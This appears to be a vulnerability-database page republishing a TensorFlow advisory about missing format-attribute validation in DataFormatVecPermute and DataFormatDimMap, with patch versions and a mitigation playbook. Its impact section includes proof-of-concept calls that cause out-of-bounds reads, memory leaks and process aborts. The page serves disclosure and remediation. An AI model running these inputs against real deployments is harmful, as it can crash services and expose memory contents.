Lack of validation in data format attributes in TensorFlowGHSA-c9f3-9wfr-wgh7
MEDIUMFix: tensorflow/tensorflow@ebc70b7GHSA-c9f3-9wfr-wgh7 is a medium-severity (CVSS 4.4) Out-of-bounds Read vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-c9f3-9wfr-wgh7 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+7 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.
However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.
>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624, 0],
[71365824, 0],
[ 560, 0],
[ 48, 0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted
A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:
>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
[1852793646, 1852793646],
[1954047348, 1954047348],
[1852793632, 1852793632]], dtype=int32)>
Patches
We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.
Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 1.15.5pip install --upgrade 'tensorflow==1.15.5' |
| 🐍PyPI | tensorflow | ≥ 2.0.0&&< 2.0.4 | 2.0.4pip install --upgrade 'tensorflow==2.0.4' |
| 🐍PyPI | tensorflow | ≥ 2.1.0&&< 2.1.3 | 2.1.3pip install --upgrade 'tensorflow==2.1.3' |
| 🐍PyPI | tensorflow | ≥ 2.2.0&&< 2.2.2 | 2.2.2pip install --upgrade 'tensorflow==2.2.2' |
| 🐍PyPI | tensorflow | ≥ 2.3.0&&< 2.3.2 | 2.3.2pip install --upgrade 'tensorflow==2.3.2' |
| 🐍PyPI | tensorflow-cpu | all versions | 1.15.5pip install --upgrade 'tensorflow-cpu==1.15.5' |
Affected Products
tensorflowgoogleResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tensorflow to 1.15.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c9f3-9wfr-wgh7 is resolved across your whole dependency graph.
Workarounds
Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable.
Frequently Asked Questions
Is GHSA-c9f3-9wfr-wgh7 in your dependencies?
Find it across PyPI, including transitive dependencies.